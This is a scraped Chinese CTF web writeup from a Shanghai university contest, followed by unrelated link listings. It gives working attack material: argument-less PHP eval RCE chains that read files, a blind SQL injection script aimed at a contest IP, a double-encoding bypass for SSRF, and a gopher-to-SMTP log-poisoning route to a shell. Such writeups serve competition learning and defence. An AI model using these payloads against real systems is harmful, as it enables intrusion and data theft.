Writeup:第五届上海市大学生网络安全大赛-Web
Writeup:第五届上海市大学生网络安全大赛-Web
Write Up | 第五届上海市大学生网络安全大赛官方WP来啦
一、Decade
源码(大概是这样。。。)
<?php
$code = $_GET['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
} else {
echo "No way!!!";
}
分析一下正则,可以调用纯字母的函数,但是不可以有参数
学弟的payload是这样的echo(next(file(end(scandir(chr(ord(hebrevc(crypt(phpversion(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))))));
官方wp的payload是echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));
学弟找到了这篇博客ByteCTF 2019部分WP
研究一下其中shellcode的部分。
无参数函数RCE(./..)
var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
phpversion()
返回php版本,如7.3.5
floor(phpversion())
返回7
sqrt(floor(phpversion()))
返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))
返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))
返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))
返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
扫描当前目录
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
返回..
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))
返回True
localtime(time(True))
返回一个数组
pos(localtime(time(1)))
返回数组当前指针位置的数据,即tm_sec,可以为46
readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
- 同上
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
pos(localeconv())
返回.
其他思路被过滤的比较多,但是也有必要了解一下
PHP Parametric Function
二、Easysql
当时做的时候参考了SQL注入有趣姿势总结
Sql注入笔记
这道题过滤蛮多的
if
case when绕过or
or的绕过不难,关键是information表不能用了- 获取表名:MySQL数据库的Innodb引擎的注入
在Mysql 5.6以上的版本中,在系统Mysql库中存在两张与innodb相关的表:innodb_table_stats和innodb_index_stats。所以可以通过查找这两个表取代information的作用
- 获取列名\无列名注入
select `2` from (select 1,2 union select * from fl111aa44a99g)x limit 1 offset 1
- 获取表名:MySQL数据库的Innodb引擎的注入
,
实际上这里,
也被过滤了,所以上面的payload要改成select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1
union select
没有单独过滤union,我用的内联注释/*!union*/
,其实把空格换成%0a
就行了
附上我的脚本:
import requests
import string
s = requests.session()
url = "http://47.105.183.208:29898/article.php"
payload = ''
opt = string.ascii_letters + string.digits + string.punctuation
result = ''
for x in range(1, 50):
for i in opt.replace("%", ''):
# sql = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() limit 1 offset 1"
sql = "select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1"
# sql = "select `2` from (select 1,2 union select * from article_fl111aa44a99g)x limit 1 offset 1"
payload = "1'=(case when (%s) like '%s%%' then 1 else 0 end)='1" % (sql, result + i)
params = {
'id': payload,
}
# print(payload)
response = s.get(url, params=params)
if '2333333333333' in response.text:
result += i
break
if '%' in result:
break
print(result)
# database: cccttffff
# table: article, fl111aa44a99g
有师傅说直接union注入就可以了,好像有点道理。。
三、Babyt5
原题哭了。。
6月安恒杯web2 —— 一道SSRF题
二次编码绕过strpos
https://bugs.php.net/bug.php?id=76671&edit=1
Description:
The bug is more related to when we send a string with encode to the strpos(), when we sent a string with double encode we were able to bypass the verification, using %2570hp if the case is like strpos($string, "php").
Test script:
$x = $_GET['x']; //?x=file:///var/www/html/readme.%2570hp
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
Expected result:
----------------
denied
Actual result:
--------------
<?php
//readme
?>
ssrf:利用gopher协议攻击smtp服务,配合LFI getshell
https://github.com/tarunkant/Gopherus
先读取/etc/hosts
获取内网IP,然后尝试访问邻近IP,可以发现有个主机开放了25端口--SMTP服务。我们可以利用gopher协议向目标机发送邮件,把后门写进日志里
linux中邮件日志路径一般为
/var/log/maillog
/var/log/mail.log
/var/adm/maillog
/var/adm/syslog/mail.log
用LFI包含日志文件就可以getshell了
四、lol2
没有复现,不纸上谈兵了
Writeup:第五届上海市大学生网络安全大赛-Web的更多相关文章
- 2019年上海市大学生网络安全大赛两道misc WriteUp
2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...
- 第三届上海市大学生网络安全大赛 流量分析 WriteUp
题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...
- 第三届上海市大学生网络安全大赛wp&学习
wp 0x00 p200 先分析了程序关键的数据结构 分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf 脚本如下: 1.先 ...
- 2019 上海市大学生网络安全大赛 RE部分WP
这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面 ...
- 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup
2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...
- 第十一届GPCT杯大学生程序设计大赛完美闭幕
刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!&g ...
- angry_birds_again_and_again(2014年山东省第五届ACM大学生程序设计竞赛A题)
http://acm.sdut.edu.cn/sdutoj/problem.php?action=showproblem&problemid=2877 题目描述 The problems ca ...
- 2021陕西省大学生网络安全技能大赛 Web ez_checkin
web ez_checkin 进去看了一会,啥也没找到,直接上dirsearch 扫到一个index.php~,打开看一看,是php审计 <?php error_reporting(0); in ...
- 2019全国大学生信息安全大赛两道web
简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224 ...
随机推荐
- Python基础7
深复制 & 浅复制 列表,字符串 都有深浅复制,用 id() 函数来看 所谓“旧瓶装新酒,新瓶装旧酒”
- 安全SECUERITY单词SECUERITY证券
中文名:证券业 外文名:secuerity 含义:指从事证券发行和交易服务 性质:证券市场的基本组成要素 组成:证券交易所.证券公司 目录 1 证券评级 2 证券定义 ? 涵义 ? 内容 ? 分类 ? ...
- GitPython模块
GitPython模块 安装: pip3 install gitpython Gitpython 操作 import os from git.repo import Repo import json ...
- Linux命令学习之文件管理
~~~~~~~~~~~~ 前言 ~~~~~~~~~~~~ 推荐一个很好的练习平台:https://overthewire.org/wargames/ Wargames有很多个关卡,从基础的Linux使 ...
- seaborn(1)---画关联图
将 Seaborn 提供的样式声明代码 sns.set() 放置在绘图前,就可以设置图像的样式 sns., color_codes=False, rc=None) context= 参数控制着默认的画 ...
- 《团队名称》第八次团队作业:Alpha冲刺day4
项目 内容 这个作业属于哪个课程 2016计算机科学与工程学院软件工程(西北师范大学) 这个作业的要求在哪里 实验十二 团队作业8-软件测试与ALPHA冲刺 团队名称 快活帮 作业学习目标 (1)掌握 ...
- Spring Cloud 之 Gateway 知识点:网关
Spring Cloud Gateway 是使用 netty+webflux 实现因此不需要再引入 web 模块. Spring Cloud Gateway 提供了一种默认转发的能力,只要将 Spri ...
- Spring Boot属性配置文件:application.properties 详解
学习资料 网址 官方说明文档 https://docs.spring.io/spring-boot/docs/current/reference/html/common-application-pro ...
- Gym - 100962F: Frank Sinatra (树上莫队+bitset)
题意:给定一棵树,带边权.然后Q次询问,每次给出(u,v),求这个路径上最小的未出现的边权. 思路:树上莫队,求mex可以用分块或者bitset,前者可能会快一点. 莫队过程:求出欧拉序,即记录d ...
- dependencies与devDependencies的区别----npm install
npm install在安装node模块时,有两种命令参数可以把它们的信息写入package.json文件. –save –save-dev 那二者的区别在哪里呢? –save会把依赖包名称添加到pa ...